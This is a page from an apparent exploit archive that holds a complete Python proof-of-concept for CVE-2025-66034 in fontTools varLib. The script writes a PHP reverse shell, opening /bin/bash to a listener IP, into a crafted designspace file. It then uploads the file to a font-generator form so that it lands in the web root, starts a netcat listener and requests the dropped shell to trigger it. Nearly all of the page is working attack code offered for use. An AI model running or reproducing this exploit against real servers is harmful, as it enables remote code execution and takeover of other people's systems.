5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / varlib_cve_2025_66034.py PY
import argparse
import logging
import requests
import secrets
import string
import subprocess
import threading
import time

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

TARGET_URL = "http://mysite.com/tools/variable-font-generator/process" #change if necessary
DEFAULT_PATH = "/var/www/mysite.com/public" #change if neccessary
TRIGGER_URL = "http://mysite.com" #change if necessary

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='[%(levelname)s] %(message)s'
)

def parse_args():
    parser = argparse.ArgumentParser(description="Varlib fontTools exploit")
    parser.add_argument("--ip", required=True, help="Listener IP")
    parser.add_argument("--port", required=True, type=int, help="Listener port")
    parser.add_argument("--path", default=DEFAULT_PATH, help="Filesystem path to write a shell")
    parser.add_argument("--url", default=TARGET_URL, help="Upload's Form URL")
    parser.add_argument("--trigger", default=TRIGGER_URL, help="URL to trigger the shell")
    parser.add_argument("--no-listen", action="store_true", help="Skip auto listener")
    
    return parser.parse_args()

#create fonts
def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)

    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()

    glyph = pen.glyph()

    fb.setupGlyf({".notdef": glyph})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "ExploitFont", "styleName": f"Weight{weight}"})

    fb.save(filename)



# Build reverse shell PHP
def build_php(ip, port):
     
    php_code = (
        f'<?php '
        f'$ip="{ip}";'
        f'$port={port};'
        f'$sock=fsockopen($ip,$port);'
        f'$descriptorspec=array(0=>$sock,1=>$sock,2=>$sock);'
        f'$proc=proc_open("/bin/bash -i",$descriptorspec,$pipes);'
        f'?>'
    )      
     
    return php_code


# Generate shell name
def gen_shell_name(prefix="shell_", length=8):
    """
    Generate something like shell_ab12cd34.php
    Only [a-z0-9] so it’s safe to drop into single quotes.
    """
    alphabet = string.ascii_lowercase + string.digits
    rand = ''.join(secrets.choice(alphabet) for _ in range(length))
    return f"{prefix}{rand}.php"



# Generate malicious designspace
def generate_designspace(ip, port, target_path, shellname):

    php_payload = build_php(ip, port)

    xml = f"""<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
    <axes>
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[{php_payload}]]]]><![CDATA[>]]></labelname>
            <labelname xml:lang="fr">PENTEST</labelname>
        </axis>
    </axes>

    <sources>
        <source filename="source-light.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>
        <source filename="source-regular.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>

    <variable-fonts>
        <variable-font name="MaliciousFont" filename="{target_path}/{shellname}">
            <axis-subsets>
                <axis-subset name="Weight"/>
            </axis-subsets>
        </variable-font>
    </variable-fonts>
</designspace>
"""

    return xml


# Upload the payload
def upload_exploit(xml_payload, url):

    files = [
        ("designspace", ("malicious.designspace", xml_payload, "application/octet-stream")), #change if your upload form is different
        ("masters", ("source-light.ttf", open("source-light.ttf", "rb"), "font/ttf")),
        ("masters", ("source-regular.ttf", open("source-regular.ttf", "rb"), "font/ttf")),
    ]

    headers = {                         #add extra headers if necessary
        "User-Agent": "Mozilla/5.0",
    }

    r = requests.post(url, files=files, headers=headers)

    logging.info(f"[+] Server status: {r.status_code}")
    

def start_listener(port):
    logging.info(f"[+] Starting listener on port {port}...")

    return subprocess.Popen(
        ["nc", "-lvnp", str(port)],
        stdin=None,
        stdout=None,
        stderr=subprocess.DEVNULL
    )


def trigger_shell(shell_name, url):
    """
    Simple HTTP GET to execute the reverse shell payload.
    """
    url = f"{url}/{shell_name}"
    logging.info(f"[+] Triggering shell via {url}")
    try:
        r = requests.get(url, timeout=5)
        logging.info(f"[+] Trigger request status: {r.status_code}")
    except requests.RequestException as e:
        logging.warning(f"[!] Error while triggering shell.. try to trigger manually: {e}")


def main():
     
    args = parse_args()
     
    ip = args.ip
    port = args.port
    path = args.path
    url = args.url
    trigger_url = args.trigger
    
    if not (1 <= port <= 65535):
        sys.exit("[-] Invalid port number")
    
    if port > 10000:
        logging.warning("[!] Ports above 10000 may be blocked by your local firewall. Use ports like 4444, 9001, or 5050.")
    elif port < 1024:
        logging.warning("[!] Ports below 1024 require admin privileges to work as intended")
     
     
    logging.info(f"[+] Generating compatible master fonts...")
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)
    
    logging.info(f"[+] Generating shell name...")
    shell_name = gen_shell_name()     
      
    logging.info(f"[+] Using IP address: {ip} and Port Number: {port}")   
    logging.info(f"[+] Using shell name {shell_name}")
    
    logging.info(f"[+] Creating malicious designspace...")
    xml_payload = generate_designspace(ip, port, path, shell_name)

    logging.info(f"[+] Uploading payload...")
    upload_exploit(xml_payload, url)
    
    if not args.no_listen:
        
        try:
            listener_proc = start_listener(port)
            time.sleep(2)  # Give listener time to spin up
            
            trigger_shell(shell_name, trigger_url)
            listener_proc.wait()
            
        except KeyboardInterrupt:
            logging.info(f"[!] Interrupted...")
    else:
        trigger_shell(shell_name, trigger_url)

if __name__ == "__main__":
    main()